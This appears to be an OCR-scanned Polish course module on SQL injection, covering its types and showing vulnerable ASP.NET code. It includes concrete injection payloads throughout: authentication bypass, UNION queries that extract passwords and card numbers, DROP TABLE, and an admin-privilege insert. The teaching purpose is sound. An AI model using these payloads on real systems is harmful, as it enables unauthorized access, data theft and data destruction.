Wstrzykniecie SQL
Cele ksztatcenia

Wstrzykniecie SQL jest najczestszym i najbardziej niszczycielskim atakiem, jaki atakujgcy mogg
przeprowadzi¢ w celu przejecia kontroli nad witryng internetowga. Atakujacy wykorzystujg rézne
sztuczki i techniki, aby ztamac zabezpieczenia aplikacji internetowych opartych na danych, powodujac
powazne straty finansowe, reputacje, dane i funkcjonalnos$¢ organizacji. W tym module zostang
omowione ataki SQL injection, a takze narzedzia i techniki wykorzystywane przez osoby atakujgce do
przeprowadzania takich atakow.

Koncepcje iniekcji SQL

W tej sekcji omdéwiono podstawowe koncepcje atakow SQL injection i ich intensywnosé. Rozpoczyna
sie wprowadzeniem do iniekcji SQL i podstawami wymaganymi do zrozumienia atakéw iniekcji SQL, po
ktérych astepuje kilka przyktadéw takich atakéw.

Co to jest wstrzykiwanie SQL?

Structured Query Language (SQL) to tekstowy jezyk uzywany przez serwer bazy danych. Polecenia SQL
uzywane do wykonywania operacji na bazie danych to INSERT, SELECT, UPDATE i DELETE. Te polecenia
stuzg do manipulowania danymi na serwerze bazy danych. Programisci uzywajg sekwencyjnych
polecen SQL z parametrami dostarczonymi przez klienta, co utatwia atakujgcym wstrzykiwanie
polecen. Wstrzykniecie SQL to technika uzywana do wykorzystania luk w zabezpieczeniach danych
wejsciowych, ktére nie zostaty oczyszczone, do przekazywania polecen SQL przez aplikacje
internetowg w celu wykonania przez baze danych zaplecza. W tej technice atakujgcy wstrzykuje
ztosliwe zapytania SQL do formularza wprowadzania danych przez uzytkownika w celu uzyskania
nieautoryzowanego dostepu do bazy danych lub pobrania informacji bezposrednio z bazy danych.
Takie ataki sg mozliwe z powodu usterki w aplikacji internetowej, a nie z powodu problemu z bazg
danych lub serwerem WWW. Ataki SQL injection wykorzystujg serie ztosliwych zapytan SQL lub
instrukcji SQL do bezposredniego manipulowania bazg danych. Aplikacja czesto uzywa instrukcji SQL
do uwierzytelniania uzytkownikéw w aplikacji, sprawdzania poprawnosci rél i pozioméw dostepu,
przechowywania i uzyskiwania informacji dla aplikacji i uzytkownika oraz tgczenia z innymi zrodtami
danych. Ataki typu SQL injection dziatajg, poniewaz aplikacja nie sprawdza poprawnie danych
wejsciowych przed przekazaniem ich do instrukcji SQL.

Po co zawracac sobie glowe SQL Injection?

Wstrzykiwanie SQL jest gtdwnym problemem dla wszystkich stron internetowych opartych na bazach
danych. Atak mozna przeprowadzi¢ na dowolnej normalnej stronie internetowej lub pakiecie
oprogramowania w zaleznosci od tego, jak jest uzywany i jak przetwarza dane dostarczone przez
uzytkownika. Wstrzykniecie SQL moze by¢ wykorzystane do realizacji nastepujacych atakéw:

Obejscie uwierzytelnienia: Za pomoca tego ataku osoba atakujgca loguje sie do aplikacji bez podania
prawidtowej nazwy uzytkownika i hasta oraz uzyskuje uprawnienia administratora.

e Obejscie autoryzacji: Za pomocg tego ataku osoba atakujgca zmienia informacje o autoryzacji
przechowywane w bazie danych, wykorzystujgc luke w zabezpieczeniach polegajgcg na wstrzyknieciu
kodu SQL.

¢ Ujawnienie informacji: Za pomocg tego ataku osoba atakujgca uzyskuje poufne informacje, ktére sg
przechowywane w bazie danych.



* Naruszenie integralnosci danych: Za pomocg tego ataku osoba atakujgca niszczy strone internetows,
umieszcza na stronach internetowych ztosliwg zawarto$é lub zmienia zawartos¢ bazy danych.

Naruszona dostepnosé¢ danych: Za pomoca tego ataku osoba atakujgca usuwa informacje z bazy
danych, usuwa dzienniki lub kontroluje informacje przechowywane w bazie danych.

Zdalne wykonanie kodu: Za pomocg tego ataku osoba atakujgca naraza system operacyjny hosta.
SQL Injection i technologie po stronie serwera

Zaawansowane technologie po stronie serwera, takie jak ASP.NET i serwery baz danych, umozliwiajg
programistom tworzenie dynamicznych witryn i aplikacji internetowych opartych na danych z
niewiarygodng tatwoscig. Technologie te implementujg logike biznesowa po stronie serwera, ktéry
nastepnie obstuguje zgdania przychodzace od klientéw. Technologia po stronie serwera ptynnie
uzyskuje dostep, dostarcza, przechowuje i przywraca informacje. Rdézne technologie po stronie
serwera obejmujg ASP, ASP.Net, Cold Fusion, JSP, PHP, Python, Ruby on Rails i tak dalej. Niektére z
tych technologii s3 podatne na ataki typu SQL injection, a aplikacje opracowane przy uzyciu tych
technologii sg podatne na ataki typu SQL injection. Aplikacje internetowe w ramach swojej
funkcjonalnosci wykorzystuja rézne technologie bazodanowe. Niektdére relacyjne bazy danych
uzywane do tworzenia aplikacji internetowych to Microsoft SQL Server, Oracle, IBM DB2 i MySQL typu
open source. Programisci czasami nieSwiadomie ignorujg praktyki bezpiecznego kodowania podczas
korzystania z tych technologii, co sprawia, ze aplikacje i relacyjne bazy danych sg podatne na ataki SQL
injection. Ataki te nie wykorzystujg luki w zabezpieczeniach konkretnego oprogramowania; zamiast
tego celujg w strony internetowe i aplikacje internetowe, ktdre nie przestrzegajg bezpiecznych praktyk
kodowania w celu uzyskania dostepu do danych przechowywanych w pliku i manipulowania nimi
relacyjna baza danych.

Zrozumienie zadania HTTP POST

Zadanie HTTP POST to metoda przesytania zgdanych danych do serwera WWW. W przeciwieristwie do
metody HTTP GET, zgdanie HTTP POST przenosi zagdane dane jako czes¢ tresci wiadomosci. Dlatego jest
uwazany za bezpieczniejszy niz HTTP GET. Zgdania HTTP POST moga réwniez przekazywa¢ duze ilosci
danych do serwera. Sg idealne do komunikacji z ustugg internetowg XML. Te metody przesytajg i
pobierajg dane z serwera WWW. Gdy uzytkownik poda informacje i kliknie przycisk Przeslij,
przeglagdarka przesyta do serwera sieciowego cigg znakéw zawierajacy poswiadczenia uzytkownika.
Ten ciag jest widoczny w tresci zadania HTTP lub HTTPS POST jako

select * from Users where (username = 'smith' and password = 'simpson’);
Zrozumienie normalnego zapytania SQL

Zapytanie to polecenie SQL. Programisci piszg i wykonujg kod SQL w formie zapytan. Zapytania SQL
obejmujg wybieranie danych, pobieranie danych, wstawianie/aktualizowanie danych oraz tworzenie
obiektéw danych, takich jak bazy danych i tabele. Instrukcje zapytania rozpoczynajg sie od polecenia,
takiego jak SELECT, UPDATE, CREATE lub DELETE. Zapytania sg uzywane w technologiach po stronie
serwera do komunikacji z bazg danych aplikacji. Zgdanie uzytkownika dostarcza parametry zastepujace
symbole zastepcze, ktére mogg by¢ uizywane w jezyku po stronie serwera. Na tej podstawie
konstruowane jest zapytanie, a nastepnie wykonywane w celu pobrania danych lub wykonania innych
zadan w bazie danych. Ponizszy diagram przedstawia typowe zapytanie SQL. Jest zbudowany z wartosci
dostarczonych przez uzytkownika, a po wykonaniu wyswietla wyniki z bazy danych.



BDadLogin. aspx .0

Private void ondlogin Cliek (ohieot senier
Syatem . Sventices e)

localhoat  databasmencs theind uldess pads ™
Sq1Coammotion can = e SqlConnection [strink)

cnx . Opea () :

int inthecs:
5qiCommand and = sew QiComsand (stiQuy, s

inthesw = (int) ol EseowteScoulas()
Af [inthecad) |
s FormsAuthentlioat bon BedireotFroamloginPage (tatiser
2 Tex ) ) alse |
Constructed SQL Query € coremnnibiund b1 ext ® *login sttept falled. ™) |

O
SELECT Count(*) FROM Users WHERE UserName='Jason'
AND Passwords='Springfield’

Server-side Code (BadLogin.aspx)

Zrozumienie zapytania SQL Injection

Zapytanie SQL injection wykorzystuje normalne wykonanie SQL. Osoba atakujgca przesyta zadanie z
wartosSciami, ktére zostang wykonane normalnie, ale zwrdcg dane z bazy danych, ktorych szuka osoba
atakujgca. Osoba atakujgca moze przesta¢ te ztosliwe wartosci, poniewaz aplikacja nie moze ich
odfiltrowaé przed przetworzeniem. Jesli wartosci przestane przez uzytkownikéw nie zostang
odpowiednio zweryfikowane, aplikacja moze potencjalnie sta¢ sie celem ataku typu SQL injection.
Formularz HTML, ktory odbiera i przekazuje informacje wystane przez uzytkownika do skryptu Active
Server Pages (ASP) dziatajgcego na serwerze internetowym IS, jest najlepszym przyktadem iniekcji SQL.
Przekazywane informacje to nazwa uzytkownika i hasto. Aby utworzy¢ zapytanie SQL injection, osoba
atakujgca moze wprowadzi¢ nastepujgce wartosci w polach wejsciowych aplikacji, takich jak pola
nazwy uzytkownika i hasta.

Nazwa uzytkownika: Blah' lub 1=1 —

Hasto: Springfield

W ramach normalnego wykonywania zapytania te wartosci wejSciowe zastgpig symbole zastepcze i
zapytanie pojawi sie w nastepujgcy sposob:

SELECT Count(*) FROM Users WHERE UserName='Blah

Springfield’;

Blizsze zbadanie tego zapytania ujawnia, ze warunek w klauzuli where zawsze bedzie prawdziwy. To
zapytanie jest pomysinie wykonywane, poniewaz nie ma btedu sktadniowego i nie narusza normalnego
wykonywania zapytania. Ponizszy diagram przedstawia typowe zapytanie SQL injection.



Attacker Launching SQL Injection

SELECT Count(*) FROM Ussrs WHERE UsarName='Blah' or 1l=1 --' AND Fassword='Springfield®

EELECT Count (¥} FROM Users WHERE UserHame='Blah' or 1=1 ==' AMD Password='Springfield

50L Query Executed Code after == are now comments

Zrozumienie zapytania SQL Injection — analiza kodu

Analiza kodu lub przeglad kodu to najskuteczniejsza technika identyfikacji luk w zabezpieczeniach lub
btedy w kodzie. Atakujgcy wykorzystuje luki znalezione w kodzie, aby uzyska¢ dostep do bazy danych.
Osoba atakujaca loguje sie na konto w nastepujacy sposob:

1. Uzytkownik wprowadza nazwe uzytkownika i hasto pasujgce do rekordu w tabeli uzytkownika

2. Dynamicznie generowane zapytanie SQL stuzy do pobrania liczby pasujacych wierszy

3. Nastepnie uzytkownik zostaje uwierzytelniony i przekierowany na zgdang strone

4. Gdy atakujgcy wprowadzi blah1 lub 1=1, wtedy zapytanie SQL bedzie wygladac tak

SELECT Count(*) FROM Users WHERE UserName=1 blah 1 Or 1=1

Password="*

5. Para mysInikdw oznacza poczatek komentarza w SQL; w zwigzku z tym zapytanie po prostu staje sie

SELECT Count(*) FROM Users WHERE UserName="blah' Or 1=1 string strQry = "SELECT Count(*) FROM
Users WHERE UserName=

txtUser.Text + " AND ... + ' AND Password=i ii + txtPassword.Text + "";
Przyktad aplikacji internetowej podatnej na SQL Injection:
BadProductList.aspx

Strona pokazana na ponizszym rysunku



G O http://www.certifiedhacker.com/BadProductList.aspx

private void cmdfilter Click(object sender, System.EventArgs e) {
dgrProducts.CurrentPageindex = 0;
bindDataGrid(); }

private void bindDataGrid() {
dgrProducts.DataSource = createDataView() ;
dgrProducts.DataBind(); }

private DataView createDataView() {
string strCnx =
"server=localhost;uid=sa;pwd=;database=nor thwind;";
string strSQL = "SELECT Productld, ProductName, " +
"QuantityPerUnit, UnitPrice FROM Products':

// This code is susceptible to SQL injection attacks.
if (txtFilter.Text.Length > 0) (
strSQL 4= " WHERE ProductName LIKE '™ 4 txtFilter.Taxt + '

A

SqlConnection enx = new SglConnection(strCmx);
SqlDataRdapter sda = new SqlDataRAdapter(strSQL, enx);
DataTable dtProducts = new DataTable();

sda.Fill (dtProducts) ;
return dtProducts.DefaultView; Attack Occurs Here

jest rajem dla hakeréw, poniewaz pozwala sprytnemu hakerowi przejgé kontrole nad nig i uzyskac
poufne informacje, zmieni¢ dane w bazie danych, uszkodzi¢ rekordy bazy danych, a nawet utworzy¢
nowe konta uzytkownikéw bazy danych. Wiekszos¢ baz danych zgodnych z SQL, w tym SQL Server,
przechowuje metadane w szeregu tabel systemowych o nazwach sysobjects, syscolumns, sysindexes i
tak dalej. W ten sposéb haker moze wykorzysta¢ tabele systemowe do uzyskania informacji o
schemacie bazy danych w celu dalszego skompromitowania bazy danych. Na przyktad nastepujacy
tekst wpisany w polu tekstowym txtFilter moze ujawni¢ nazwy tabel uzytkownikéw w bazie danych:

UNION SELECT id, name, ', 0 FROM sysobjects WHERE xtype ='U" --

W szczegdlnosci instrukcja UNION jest przydatna dla hakeréw, poniewaz tgczy wyniki jednego
zapytania w drugie. W tym przypadku haker pofaczyt nazwy tabeli Users w bazie danych z oryginalnym
zapytaniem tabeli Products. Jedyng sztuczka jest dopasowanie liczby i typdw danych w kolumnach do
pierwotnego zapytania. Poprzednie zapytanie moze ujawnié, ze w bazie danych istnieje tabela o nazwie
Uzytkownicy. Drugie zapytanie moze ujawnié¢ kolumny w tabeli Uzytkownicy. Korzystajac z tych
informacji, haker moze wprowadzié nastepujgce informacje w polu tekstowym txtFilter:

UNION SELECT 0, UserName, Password, 0 FROM Users —

Whprowadzenie tego zapytania ujawnia nazwy uzytkownikéw i hasta znalezione w tabeli Uzytkownicy.
Strona (BadProductList.aspx) wyswietla produkty z bazy danych Northwind i umozliwia uzytkownikom
filtrowanie wynikowej listy produktow za pomoca pola tekstowego o nazwie txtFilter. Podobnie jak w
poprzednim przyktadzie (BadlLogin.aspx), ten kod jest narazony na ataki polegajgce na iniekcji SQL.
Wykonane zapytanie SQL jest konstruowane dynamicznie z danych wejsciowych dostarczonych przez
uzytkownika.

Przyktad aplikacji internetowej podatnej na SQL Injection: analiza atakéw



Wiekszos¢ witryn internetowych udostepnia funkcje wyszukiwania, ktdra umozliwia uzytkownikom
szybkie znalezienie okreslonego produktu lub ustugi. Oddzielne pole wyszukiwania jest utrzymywane
na stronie internetowej w tatwo widocznym obszarze. Podobnie jak w przypadku kazdego innego pola
wejsciowego, atakujacy celujg w to pole w celu przeprowadzenia atakéw typu SQL injection. Osoba
atakujgca wprowadza okreslone wartosci wejsciowe w polu wyszukiwania, aby przeprowadzi¢ atak
polegajacy na wstrzykiwaniu kodu SQL.

Przyktady SQL Injection

Zapytanie SQL injection wykorzystuje normalne wykonanie SQL. Atakujgcy uzywa réznych polecen SQL
do modyfikowania wartosci w bazie danych.

W ponizszej tabeli wymieniono kilka przyktadéw atakéw polegajgcych na wstrzykiwaniu kodu SQL:

Example Attacker SQL Query SQL Query Executed
SELECT jb-email, jb-passwd, jb-login_id,
| blah'; UPDATE jb-customers SET jb-email = | />-12st_name FROM members WHERE
Updating | . s 2 : jb-email = 'blah’; UPDATE jb-customers
info@certifiedhacker.com' WHERE email - :
Teble ='jason@springfield.com; SET Jromen =
= P e 'info@certifiedhacker.com' WHERE
email ="jason@springfield.com; --';
SELECT jb-email, jb-passwd, jb-login_id,
blah'; INSERT INTO jb-customers ('jb- jb-last_name FROM members WHERE
Adding email','jb-passwd','jb-login_id','jb- email = 'blah'; INSERT INTO jb-
New last_name') VALUES customers ('jb-email’,'jb-passwd’,'jb-
Records (‘jason@springfield.com’,'hello’,'jason’,'jason | login_id','jb-last_name') VALUES
springfield’);—- (‘jason@springfield.com’,'hello','jason’,
‘jason springfield');-";
ldentifylng blah' AND 1=(SELECT COUNT(#) FROM SELECT Jb-emall, jb-passwd, jb'logln__ld,
mytable); - jb-last_name FROM table WHERE jb-
the Table ’ a4 )
email = 'blah' AND 1=(SELECT
Name Note: You will need to guess table names here COUNT(*) FROM mytable); --';
SELECT jb-email, jb-passwd, jb-login _id,
Deleting a p: : jb-last_name FROM members WHERE
Table S DROP TADLE Checitoen; - jb-email = 'blah'; DROP TABLE
Creditcard; --';
Returning OR 1=1 SELECT * FROM User_Data WHERE
More Data - Email_ID ='blah' OR 1=1

Rodzaje iniekcji SQL

Atakujacy uzywaja réznych sztuczek i technik do przegladania, manipulowania, wstawiania i usuwania
danych z bazy danych aplikacji. W zaleznosci od zastosowanej techniki istnieje kilka typdw atakdéw typu
SQL injection. W tej sekcji oméwiono rdine typy atakow polegajgcych na iniekcji SQL. Atakujgcy
wykorzystujg ataki SQL injection na wiele réznych sposobdw, uszkadzajgc zapytania SQL. W ataku typu
SQL injection osoba atakujgca wstrzykuje ztosliwy kod za pomoca zapytania SQL, ktére moze
odczytywaé poufne dane, a nawet je modyfikowaé (wstawiaé/zaktualizowad/usungc). Istniejg trzy
gtéwne typy iniekcji SQL:

In-band SQL Injection: osoba atakujgca uzywa tego samego kanatu komunikacji do przeprowadzenia
ataku i pobrania wynikdw. Ataki wewnatrz pasma sg powszechnie stosowanymi i tatwymi do



wykorzystania atakami polegajgcymi na iniekcji SQL. Najczesciej stosowanymi atakami typu in-band
SQL injection sg oparte na btedach iniekcje SQL i iniekcje UNION SQL.

Blind/Inferential SQL Injection: W $lepym/inferencyjnym wstrzyknieciu atakujgcy nie ma zadnych
komunikatéw o btedach z systemu, nad ktédrymi mégtby pracowac. Zamiast tego atakujgcy po prostu
wysyta ztosliwe zapytanie SQL do bazy danych. Wykonanie tego typu iniekcji SQL zajmuje wiecej czasu,
poniewaz zwracany wynik jest zazwyczaj w postaci logicznej. Atakujacy uzywaja prawdziwych lub
fatszywych wynikéw do okreslenia struktury bazy danych i danych. W przypadku inferential SQL
injection zadne dane nie sg przesytane przez aplikacje internetowg, a atakujgcy nie ma mozliwosci
odzyskania rzeczywistego wyniku wstrzykniecia; dlatego nazywa sie to slepym wstrzyknieciem SQL.

Out-of-Band SQL Injection: osoby atakujgce wykorzystujg rézne kanaty komunikacji (takie jak funkcje
poczty e-mail w bazie danych lub funkcje zapisywania i fadowania plikéw), aby przeprowadzi¢ atak i
uzyskac¢ wyniki. Ten typ ataku jest trudny do przeprowadzenia, poniewaz atakujgcy musi komunikowac
sie z serwerem i okresli¢ cechy serwera bazy danych uzywanego przez aplikacje internetowg. Schemat
ponizej pokazuje rézne typy iniekcji SQL:
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Wstrzykiwanie kodu SQL w pasmie

W in-band SQL injection atakujgcy uzywajg tego samego kanatu komunikacji do przeprowadzenia ataku
i pobrania wynikéw. W zalezno$ci od zastosowanej techniki, istniejg rédzne rodzaje atakdéw typu in-band
SQL injection. Najczesciej stosowanymi atakami typu in-band SQL injection sg oparte na btedach
iniekcje SQL i iniekcje UNION SQL. Rézne rodzaje iniekcji SQL wewnatrz pasma sg nastepujace:

SQL Injection oparty na btedach

Osoba atakujgca celowo wprowadza do aplikacji btedne dane wejsciowe, powodujac, ze zwraca ona
btedy bazy danych. Osoba atakujgca odczytuje wynikowe komunikaty o btedach na poziomie bazy
danych, aby znalez¢ w aplikacji luke umozliwiajgcg wstrzykniecie kodu SQL. W zwigzku z tym atakujacy
wstrzykuje zapytania SQL, ktdre sg specjalnie zaprojektowane w celu naruszenia bezpieczeristwa
danych aplikacji. Takie podejscie jest bardzo przydatne przy tworzeniu zgdania wykorzystujgcego luki
w zabezpieczeniach.

Procedura przechowywana w systemie



Ryzyko wykonania ztosliwego zapytania SQL w procedurze sktadowanej wzrasta, jesli aplikacja
internetowa nie oczyszcza danych wejsciowych uzytkownika uzywanych do dynamicznego
konstruowania instrukcji SQL dla tej procedury sktadowane]. Osoba atakujgca moze uzy¢ ztosliwych
danych wejsciowych do wykonania ztosliwych instrukcji SQL w procedurze sktadowanej. Atakujgcy
wykorzystuja procedury sktadowane baz danych do przeprowadzania atakdw. Na przyktad,

Create procedure Login @user_name varchar(20), @password
varchar(20) As Declare @query varchar(250) Set ©query ="' Select

1 from usertable Where username ="'+ @user_name + ' and password
="'+ Opassword exec(©query) Go

Jesli atakujgcy wprowadzi nastepujgce dane wejsciowe w polach wejsciowych aplikacji przy uzyciu
powyzszej procedury sktadowanej uruchomionej w zapleczu, bedzie mégt zalogowac sie przy uzyciu
dowolnego hasta. Wprowadzane przez uzytkownika: dowolna nazwa uzytkownika lub 1=1'
dowolnehasto

Niedozwolone/logicznie niepoprawne zapytanie

Atakujgcy moze zdoby¢ wiedze poprzez wstrzykniecie nielegalnych/logicznie niepoprawnych zadan,
takich jak mozliwe do wstrzykniecia parametry, typy danych, nazwy tabel i tak dalej. W tym ataku SQL
injection osoba atakujgca celowo wysyta nieprawidtowe zapytanie do bazy danych w celu
wygenerowania komunikatu o btedzie, ktéry moze by¢ przydatny do przeprowadzenia dalszych
atakow. Ta technika moze pomadc atakujgcemu w wyodrebnieniu struktury bazowej bazy danych. Na
przyktad, aby znalez¢ nazwe kolumny, osoba atakujgca moze wprowadzi¢ nastepujgce ztosliwe dane
wejsciowe:

Nazwa uzytkownika: ,, Bob”

Wynikowe zapytanie bedzie

SELECT * FROM Users WHERE UserName = 'Bob"' AND password =

Po wykonaniu powyzszego zapytania baza danych moze zwrdécic¢ nastepujgcy komunikat o btedzie:

,Niepoprawna skfadnia w poblizu, Bob ”. Niezamkniety cudzystéw po ciggu znakdéw ,, AND Hasto =

7 n

XXX
UNION SQL Injection

Instrukcja ,,UNION SELECT” zwraca unie zamierzonego zestawu danych i docelowego zestawu danych.
Podczas iniekcji UNION SQL osoba atakujgca uzywa klauzuli UNION w celu dotgczenia ztosliwego
zapytania do zgdanego zapytania, jak pokazano w ponizszym przyktadzie:

SELECT Name, Phone, Address FROM Users WHERE Id=I UNION ALL
SELECT creditCardNumber,1,1 FROM CreditCardTable

Atakujacy sprawdza luke UNION SQL injection, dodajgc znak pojedynczego cudzystowu (') na korcu
polecenia ,.php? id=". Rodzaj otrzymanego komunikatu o btedzie poinformuje atakujacego, czy baza
danych jest podatna na wstrzykniecie UNION SQL.

Tautologia



W ataku typu SQL injection opartym na tautologii atakujgcy uzywa warunkowej klauzuli OR, tak aby
warunek klauzuli WFIERE zawsze byt prawdziwy. Taki atak moze zosta¢ wykorzystany do ominiecia
uwierzytelniania uzytkownika.

Na przyktad,

SELECT * FROM users WHERE name =w OR 'I'="';

To zapytanie zawsze bedzie prawdziwe, poniewaz druga czes$¢ klauzuli OR jest zawsze prawdziwa.
Komentarz konca wiersza

W tego typu iniekcji SQL osoba atakujgca uzywa komentarzy do linii w okreslonych danych wejsciowych
iniekcji SQL. Komentarze w linii kodu sg czesto oznaczane przez i sy ignorowane przez zapytanie. Osoba
atakujgca wykorzystuje te funkcje komentowania, piszgc wiersz kodu, ktéry konczy sie komentarzem.
Baza danych wykona kod, dopdki nie dotrze do komentowanej czesci, po czym zignoruje reszte
zapytania. Na przyktad,

SELECT * FROM members WHERE username = 'admin’'--' AND password = 'password'

Za pomocg tego zapytania osoba atakujgca moze zalogowac sie na konto administratora bez hasta,
poniewaz aplikacja bazy danych zignoruje komentarze rozpoczynajace sie bezposrednio po nazwie
uzytkownika = ,,admin”.

Komentarze w linii

Atakujacy upraszczajg atak SQL injection, integrujgc wiele wrazliwych danych wejsciowych w jedno
zapytanie za pomocg komentarzy wbudowanych. Ten rodzaj wstrzyknie¢ umozliwia atakujgcemu
ominiecie czarnej listy, usuniecie spacji, zaciemnienie i okreslenie wersji bazy danych. Na przyktad,

INSERT INTO Users (UserName, isAdmin, Password) VALUES

("".Susername.", 0, ".Spassword."")"

to dynamiczne zapytanie, ktére prosi nowego uzytkownika o podanie nazwy uzytkownika i hasta.
Osoba atakujgca moze podac ztosliwe dane wejsciowe w nastepujacy sposéb.

UserName = Attacker', 1, /*

Password = */'mypwd

Po wstrzyknieciu tych ztosliwych danych wejsciowych wygenerowane zapytanie nadaje osobie
atakujgcej uprawnienia administratora.

INSERT INTO Users (UserName, isAdmin, Password)
VALUES('Attacker', 1, /*', 0, '"*/'mypwd')
Zapytanie podpiete

W ataku typu ,piggybacked SQL injection” osoba atakujgca wstrzykuje dodatkowe ztosliwe zapytanie
do pierwotnego zapytania. Ten typ wstrzykiwania jest zwykle wykonywany w przypadku wsadowych
zapytan SQL. Oryginalna kwerenda pozostaje niezmodyfikowana, a kwerenda atakujgcego jest
dotgczona do kwerendy oryginalnej. Dzieki piggybackingowi DBMS otrzymuje wiele zapytan SQL.
Atakujacy uzywajg Srednika (;) jako ogranicznika zapytania w celu oddzielenia zapytan. Po wykonaniu
pierwotnego zapytania, DBMS rozpoznaje ogranicznik, a nastepnie wykonuje zapytanie piggyback. Ten



typ ataku jest réwniez znany jako atak na zapytania skumulowane. Intencjg atakujgcego jest
wyodrebnienie, dodanie, modyfikacja lub usuniecie danych, wykonanie zdalnych polecei Ilub
przeprowadzenie ataku DoS. Na przyktad oryginalne zapytanie SQL wyglada nastepujaco:

SELECT * FROM EMP WHERE EMP.EID = 1001 AND EMP.ENAME = 'Bob'

Teraz atakujacy tgczy separator (;) i ztosliwe zapytanie z oryginalnym zapytaniem w nastepujacy
sposdb:

SELECT * FROM EMP WHERE EMP.EID = 1001 AND EMP.ENAME = 'Bob'; DROP TABLE DEPT;

Po wykonaniu pierwszego zapytania i zwrdceniu wynikowych wierszy bazy danych DBMS rozpoznaje
ogranicznik i wykonuje wstrzykniete ztosliwe zapytanie. W rezultacie DBMS usuwa tabele DEPT z bazy
danych.

SQL Injection oparty na btedach

Pozwdl nam zrozumiec szczegdly iniekcji SQL opartej na btedach. Jak omoéwiono wczesniej, w iniekgji
SQL opartej na btedach atakujgcy zmusza baze danych do zwrdcenia komunikatéw o btedach w
odpowiedzi na jego dane wejSciowe. Pdzniej osoba atakujgca moze przeanalizowa¢ komunikaty o
btedach uzyskane z podstawowej bazy danych w celu zebrania informacji, ktére mozna wykorzystac do
skonstruowania ztosliwego zapytania. Atakujgcy uzywa tego typu techniki wstrzykiwania kodu SQL, gdy
nie jest w stanie bezposrednio wykorzystac innych technik wstrzykiwania kodu SQL. Gtéwnym celem
tej techniki jest wygenerowanie komunikatu o btedzie z bazy danych, ktéry moze zosta¢ wykorzystany
do przeprowadzenia udanego ataku typu SQL injection. Takie wykorzystanie moze sie rézni¢ w
zaleznosci od DBMS. Rozwaz nastepujgce zapytanie SQL:

SELECT * FROM products WHERE id_product=$id_product

Rozwaz zgdanie skierowane do skryptu, ktéry wykonuje powyzszg kwerende:
http://www.example.com/product.php?id=10

Ztosliwym zgdaniem bytoby (np. Oracle 10g):
http://www.example.com/produkt.php?

id=10| |UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )—

W powyzszym przyktadzie tester tgczy wartos¢ 10 z wynikiem funkcji UTL_INADDR.GET_HOST_NAME.
Ta funkcja Oracle sprébuje zwrdci¢ nazwe hosta przekazanego do niej parametru, ktéry jest kolejnym
zapytaniem, tj. nazwg uzytkownika. Gdy baza danych szuka nazwy hosta z nazwa bazy danych
uzytkownika, zakonczy sie niepowodzeniem i zwrdci komunikat o btedzie, taki jak

ORA-292257: host SCOTT unknown

Nastepnie tester moze manipulowac parametrem przekazanym do funkcji GET_HOST_NAME() i wynik
zostanie wyswietlony w komunikacie o btedzie.

Union SQL Injection

Podczas iniekcji UNION SQL osoba atakujgca tgczy sfatszowane zapytanie z zapytaniem zgdanym przez
uzytkownika za pomoca klauzuli UNION. Wynik sfatszowanego zapytania zostanie dotgczony do wyniku
pierwotnego zapytania, co umozliwia uzyskanie wartosci pdl z innych tabel. Przed uruchomieniem
wstrzykniecia UNION SQL atakujgcy upewnia sig, ze w zapytaniu UNION bierze udziat taka sama liczba



kolumn. Aby znalez¢ odpowiednig liczbe kolumn, atakujgcy najpierw uruchamia zapytanie, uzywajac
klauzuli ORDER BY, po ktdrej nastepuje liczba wskazujgca liczbe wybranych kolumn bazy danych:

ORDER BY 10—

Jesli zapytanie zostanie wykonane pomyslnie i nie pojawi sie zaden komunikat o btedzie, osoba
atakujaca zatozy, ze w docelowej tabeli bazy danych istnieje 10 lub wiecej kolumn. Jesli jednak aplikacja
wyswietli komunikat o btedzie, taki jak ,Nieznana kolumna ,,10” w , klauzuli zamdwienia”, osoba
atakujaca zatozy, ze w docelowej tabeli bazy danych jest mniej niz 10 kolumn. Metodg préb i btedéw
osoba atakujgca moze poznac doktadng liczbe kolumn w docelowej tabeli bazy danych. Gdy atakujgcy
pozna liczbe kolumn, nastepnym krokiem jest znalezienie typu kolumn za pomocy zapytania, takiego
jak

UNION SELECT 1l,null,null-

Jesli zapytanie zostanie wykonane pomyslnie, atakujgcy wie, ze pierwsza kolumna jest typu integer i
moze przejs¢ do poznawania typdw pozostatych kolumn. Gdy atakujacy znajdzie odpowiednie kolumny
z liczbami, nastepnym krokiem jest wykonanie wstrzykniecia UNION SQL.

Na przyktad,

SELECT Name, Phone, Address FROM Users WHERE 1d=Sid

Teraz ustaw nastepujgcg wartosc¢ identyfikatora:

Sid=l UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
Atakujgcy uruchamia teraz zapytanie UNION SQL injection w nastepujgcy sposob:

SELECT Name, Phone, Address FROM Users WHERE Id=I UNION ALL SELECT creditCardNumber,1,1
FROM CreditCardTable

Powyzisze zapytanie faczy wynik pierwotnego zapytania ze wszystkimi uzytkownikami kart
kredytowych.

Slepe/wnioskowane wstrzykniecie SQL

Blind SQL Injection jest uzywany, gdy aplikacja internetowa jest podatna na wstrzykniecie SQL, ale
wyniki wstrzykniecia nie sa widoczne dla atakujgcego. Slepe wstrzykniecie SQL jest identyczne z
normalnym wstrzyknieciem SQL, z t3 rdznicy, ze gdy atakujacy prébuje wykorzystaé aplikacje, widzi
0g6blng niestandardowag strone zamiast przydatnego komunikatu o btedzie. W przypadku slepej iniekcji
SQL osoba atakujgca zadaje bazie danych prawdziwe lub fatszywe pytanie, aby okresli¢, czy aplikacja
jest podatna na iniekcje SQL. Normalny atak SQL injection jest czesto mozliwy, gdy programista uzywa
ogoblnego komunikatu o btedzie za kazdym razem, gdy w bazie danych wystgpi btgd. Takie ogdlne
komunikaty mogg ujawni¢ poufne informacje lub wskaza¢ atakujgcemu sciezke do wykonania ataku
typu SQL injection na aplikacje. Jednak gdy programisci wytgczajg ogdlny komunikat o btedzie dla
aplikacji, atakujagcemu trudno jest przeprowadzi¢ atak typu SQL injection. Niemniej jednak
wykorzystanie takiej aplikacji za pomocg ataku typu SQL injection nie jest niemozliwe. Blind injection
rézni sie od zwyktego SQL injection sposobem pobierania danych z bazy danych. Atakujgcy uzywaja
Slepego wstrzykiwania kodu SQL w celu uzyskania dostepu do poufnych danych lub ich zniszczenia.
Atakujgcy mogg ukras¢ dane, zadajgc serie prawdziwych lub fatszywych pytan za pomocg instrukcji
SQL. Rezultaty wstrzykniecia nie sg widoczne dla atakujgcego. Ten typ ataku moze by¢ czasochtonny,
poniewaz baza danych powinna generowac¢ nowg instrukcje dla kazdego nowo odzyskanego bitu.



Blind SQL Injection: Nie zwrdcono komunikatu o btedzie

